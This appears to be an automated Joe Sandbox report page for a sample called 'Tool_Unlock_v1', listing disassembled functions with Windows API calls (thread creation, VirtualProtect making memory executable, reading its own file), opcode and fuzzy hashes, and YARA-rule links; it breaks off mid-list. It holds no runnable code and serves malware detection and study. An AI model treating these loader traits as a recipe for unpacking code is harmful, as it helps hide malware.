Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: e94a4aa34bc274abfed05cbbb8a814e3545fac4539773aa79317174063147a47
Instruction ID: 80742caf4d0740644d19ff2a52a28af25eef52c402e87d3e23fd137cd10b9717
Opcode Fuzzy Hash: e94a4aa34bc274abfed05cbbb8a814e3545fac4539773aa79317174063147a47
Instruction Fuzzy Hash: C6F17D75A006148FCB19CF68C4D4BADBBF1FF88324F198269E815AB3A1D774AD45CB90

Function 00345349 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00015470,00000000,00000000,00000000), ref: 00345392
GetLastError.KERNEL32(?,?,?,00332513,00000000,00000000), ref: 0034539E
__dosmaperr.LIBCMT ref: 003453A5

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 4963738573e0c0ff7047ff537860bf3a04bbe3c1224cbb2b44ed8323d6f132f1
Instruction ID: ce3ef7c1ea509714bb142c2852cd1d0c59590c82d3df5639e48f50f4c08d983f
Opcode Fuzzy Hash: 4963738573e0c0ff7047ff537860bf3a04bbe3c1224cbb2b44ed8323d6f132f1
Instruction Fuzzy Hash: B8018076901619ABCF179FA0DC06AAE3BE9FF00390F014058F8019E151EBB0ED50DB90

Function 003454EE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0034C2BB: GetLastError.KERNEL32(00000000,?,003476E9,0034D306,?,?,0034C1B7,00000001,00000364,?,00000005,000000FF,?,00345495,00368E38,0000000C), ref: 0034C2BF
Part of subcall function 0034C2BB: SetLastError.KERNEL32(00000000), ref: 0034C361

CloseHandle.KERNEL32(?,?,?,003453D9,?,?,003454CE,00000000), ref: 0034551F
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,003453D9,?,?,003454CE,00000000), ref: 00345535
ExitThread.KERNEL32 ref: 0034553E

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: 0b0766e42c513183df0537163dff8685db79aed4a71a1f205222740de307814e
Instruction ID: 454264ece85ad7da3667a744d75b34ff792563858af938ba4dc999e20f586526
Opcode Fuzzy Hash: 0b0766e42c513183df0537163dff8685db79aed4a71a1f205222740de307814e
Instruction Fuzzy Hash: 03F05470900E0067CB235B75980962A3ADAAF02370F098694F86BCF0A2DB60FD428790

Function 0034565F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00345721,00348396,00348396,?,00000002,4EEB0981,00348396,00000002), ref: 00345670
TerminateProcess.KERNEL32(00000000,?,00345721,00348396,00348396,?,00000002,4EEB0981,00348396,00000002), ref: 00345677
ExitProcess.KERNEL32 ref: 00345689

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 9f923ac1433d6a26c841de83c8a595d51b1461578de4ede63ed629a84863e4f9
Instruction ID: fb0da0d91cfbb14294e522e3796657c79616b119b9ce6ffe9ab498e96f6dd328
Opcode Fuzzy Hash: 9f923ac1433d6a26c841de83c8a595d51b1461578de4ede63ed629a84863e4f9
Instruction Fuzzy Hash: E0D09231400A08BBCF032F61DD0E8993F6EEF41382B459014F9498E073DFB6A952DA84

Function 00353BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00353F9E: GetConsoleOutputCP.KERNEL32(4EEB0981,00000000,00000000,?), ref: 00354001

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00348584,?), ref: 00353D79
GetLastError.KERNEL32(?,?,00348584,?,003487C8,00000000,?,00000000,003487C8,?,?,?,00368FE8,0000002C,003486B4,?), ref: 00353D83

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 35bb4695d2303fdb31b6ed152ea2fb108fd22460839cba7bd70c097391e8a833
Instruction ID: 3020294e4d9a0c24ca44ae7394284da98e5b22b45c686b76b09a1b8c62d3b0b3
Opcode Fuzzy Hash: 35bb4695d2303fdb31b6ed152ea2fb108fd22460839cba7bd70c097391e8a833
Instruction Fuzzy Hash: 2461B271D04119AFDF12CFA8C845EEEBBB9AF09345F150145EC01AB261D731DA09CBA0

Function 003543CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00353D5F,00000000,003487C8,?,00000000,?,00000000), ref: 00354469
GetLastError.KERNEL32(?,00353D5F,00000000,003487C8,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00348584), ref: 0035448F

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 71d128862a56481bff4c7b38e11e5c031d021820ddc5890b81c31a170a0b1468
Instruction ID: 4d48a0a9571f091100835a23c15352ce0440068467c097b6fcde9e7bb2c626fb
Opcode Fuzzy Hash: 71d128862a56481bff4c7b38e11e5c031d021820ddc5890b81c31a170a0b1468
Instruction Fuzzy Hash: 2B219175A002199BCF1ACF5ADC80AE9B7B9EB4830AF1440A9ED06D7221D630DD86CB60

Function 003390F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 003391C9
std::_Throw_Cpp_error.LIBCPMT ref: 003391D7

Part of subcall function 0033EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00338E4A,0033A2F0), ref: 0033EFE7

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID:
API String ID: 3666349979-0
Opcode ID: a5a1e18ee86da2d37a664a2e8de95e648b7fc30da393c537459f717c70292707
Instruction ID: 443b7df54b3277dacb332fffa0ab6e2bad4e775803a3421c2d45940e9c5ba421
Opcode Fuzzy Hash: a5a1e18ee86da2d37a664a2e8de95e648b7fc30da393c537459f717c70292707
Instruction Fuzzy Hash: 4E2136B1A00656DBDB11EF64CD86BAEBBB4FF04320F144229E5256B3C1D7B4A904CBD2

Function 0034DA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0034D941,00369330,0000000C), ref: 0034DA9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0034D941,00369330,0000000C), ref: 0034DAB0

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: ddb42029916c15f0ee4699f42ecd922fa19f7c1402e720b7413782993ac5b926
Instruction ID: 90543ae3b7bd1ef8a17dbd21759d5ead1ff051798290b25c5c279ec5c57ce42e
Opcode Fuzzy Hash: ddb42029916c15f0ee4699f42ecd922fa19f7c1402e720b7413782993ac5b926
Instruction Fuzzy Hash: 6611967150CB424AC7328E3E8C886227AD9AB56330B3D075ED0B78E5F5C6B4F986D641

Function 00331EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00331240: _strlen.LIBCMT ref: 003312BA

FreeConsole.KERNELBASE(?,?,?,?,?,0033173F,?,?,?,00000000,?), ref: 00331F21
VirtualProtect.KERNELBASE(0036A011,00000549,00000040,?), ref: 00331F78

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID:
API String ID: 1248733679-0
Opcode ID: 139363446f3075ed5a413a0ee2bdce90b574928629413072ad6919bcd5d6346f
Instruction ID: 417de5b4544b832c156228c18623ad133aeb27e6f8d1f5dac7bcb6d9862c5bbf
Opcode Fuzzy Hash: 139363446f3075ed5a413a0ee2bdce90b574928629413072ad6919bcd5d6346f
Instruction Fuzzy Hash: 08110671A001047BDB06BBA4DC03EFF77B8EB44701F448429F904BB2C2EAB159505BD5

Function 00345470 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00368E38,0000000C), ref: 00345483
ExitThread.KERNEL32 ref: 0034548A

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: d3042a854163556510777175705f0c2825af6ea55a23b5efbfeb140206de203f
Instruction ID: 7ad45833c82cbfa6e8380a84db731ac43195a08cacd3c3bcc5eeae064f502c2f
Opcode Fuzzy Hash: d3042a854163556510777175705f0c2825af6ea55a23b5efbfeb140206de203f
Instruction Fuzzy Hash: DEF0AF71A00A04AFDB03AF70C80AA6E3BB4EF00750F108159F4019F2A2CF746941CB90

Function 00332270 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00332288
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0033229C

Part of subcall function 00331FB0: CreateFileA.KERNELBASE ref: 00332036
Part of subcall function 00331FB0: GetFileSize.KERNEL32(00000000,00000000), ref: 00332046
Part of subcall function 00331FB0: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0033206B
Part of subcall function 00331FB0: CloseHandle.KERNELBASE(00000000), ref: 0033207A
Part of subcall function 00331FB0: _strlen.LIBCMT ref: 003320CD

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: File$HandleModule$CloseCreateNameReadSize_strlen
String ID:
API String ID: 3505371420-0
Opcode ID: c5c46a949885de7cd3ef4b625ef029e4bc9f41e285c65491ec6b39cdef078676
Instruction ID: b19bd22ac87cfef594b77b000444e2ff99ab7f51578f68672f11466084d5e4b2
Opcode Fuzzy Hash: c5c46a949885de7cd3ef4b625ef029e4bc9f41e285c65491ec6b39cdef078676
Instruction Fuzzy Hash: 0FF0E5B190521027D1226724AC4BEAB7BACDF85750F004514F5894E182EAB41145CA93

Function 0034BED7 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,003502B4,?,00000000,?,?,0034FF54,?,00000007,?,?,0035089A,?,?), ref: 0034BEED
GetLastError.KERNEL32(?,?,003502B4,?,00000000,?,?,0034FF54,?,00000007,?,?,0035089A,?,?), ref: 0034BEF8

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 16c732ea4f7aa2d1e84d1fcbd65c5489ba07cfbca106aeaa80b8a9558680e2d4
Instruction ID: ab63eabbe9979dd75a04068513cc2e3d18304934eaf5143deaf8bda983951039
Opcode Fuzzy Hash: 16c732ea4f7aa2d1e84d1fcbd65c5489ba07cfbca106aeaa80b8a9558680e2d4
Instruction Fuzzy Hash: 50E08C32204614ABCB132FA5AC09B997BACEB00391F11C021F6089E170CB74E840CBD4

Function 0033DEF0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6117e74afe03fa45bc6abfa48558e93889a5f178848b012b4c04b7b5479e5
Instruction ID: c32096434b337be887fee53f8865125d4ad397a12cecb86d4eb7bb9bbc8e07c9
Opcode Fuzzy Hash: 67d6117e74afe03fa45bc6abfa48558e93889a5f178848b012b4c04b7b5479e5
Instruction Fuzzy Hash: 9641AE31A0011AAFCB1ADF69D8D09EDB7B9FF08314F54406AE442E7A80E731ED45DB90

Function 0033CB40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5788ec15327a4418b722fd80f769437882b6861fdae0514c50595adc8164115a
Instruction ID: c3823f650d2369abe6ea9a3236429fd92a07c60b25ee91f9f267efe97a7de41b
Opcode Fuzzy Hash: 5788ec15327a4418b722fd80f769437882b6861fdae0514c50595adc8164115a
Instruction Fuzzy Hash: 6131847291011AAFCB16CE68D8D09EDB7B8BF09320F14226AE515F7690D731E945CB90

Function 0033B060 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 0033AFC4: GetModuleHandleExW.KERNEL32(00000002,00000000,00338A2A,?,?,0033AF87,00338A2A,?,0033AF58,00338A2A,?,?,?), ref: 0033AFD0

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,4EEB0981,?,?,?,Function_0002BE94,000000FF), ref: 0033B0C7

Part of subcall function 0033AEFA: std::_Throw_Cpp_error.LIBCPMT ref: 0033AF1B

Part of subcall function 0033EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00338E4A,0033A2F0), ref: 0033EFE7

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID:
API String ID: 3627539351-0
Opcode ID: d2a243867c035a9f3afad490e9a286bbd21f2419db9d7a7b5a4bab4b5b024245
Instruction ID: 7bf2801d367556130300c4c78b7fdcfe7127f771dc6cf6a27eda8ae828cd9185
Opcode Fuzzy Hash: d2a243867c035a9f3afad490e9a286bbd21f2419db9d7a7b5a4bab4b5b024245
Instruction Fuzzy Hash: 5711E732604A009FCB276B25DC92A3EB7A9EF41B60F01851AF9529F6D1CF75DC00CB91

Function 0034CFD6 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033710894.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033723134.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033819691.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65af5afe07062b92b0fab91b8550436d48ed1428e3e01f11f7d952f35c3e99c4
Instruction ID: 9756b2dd6a5f305f2eac491121af8a624d6c6f4f40c80e92e755470d67a47218
Opcode Fuzzy Hash: 65af5afe07062b92b0fab91b8550436d48ed1428e3e01f11f7d952f35c3e99c4
Instruction Fuzzy Hash: 3901F133210214AFDB178E68EC4192A73EEFBC0760F268024F900DF594DB71E8029BA0

Function 0033CB32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2033537361.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000000.00000002.2033521777.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033610121.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033627746.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2033697473.000000000036B000.00000004.00000001.01000000.00000003.sdmpDownload File
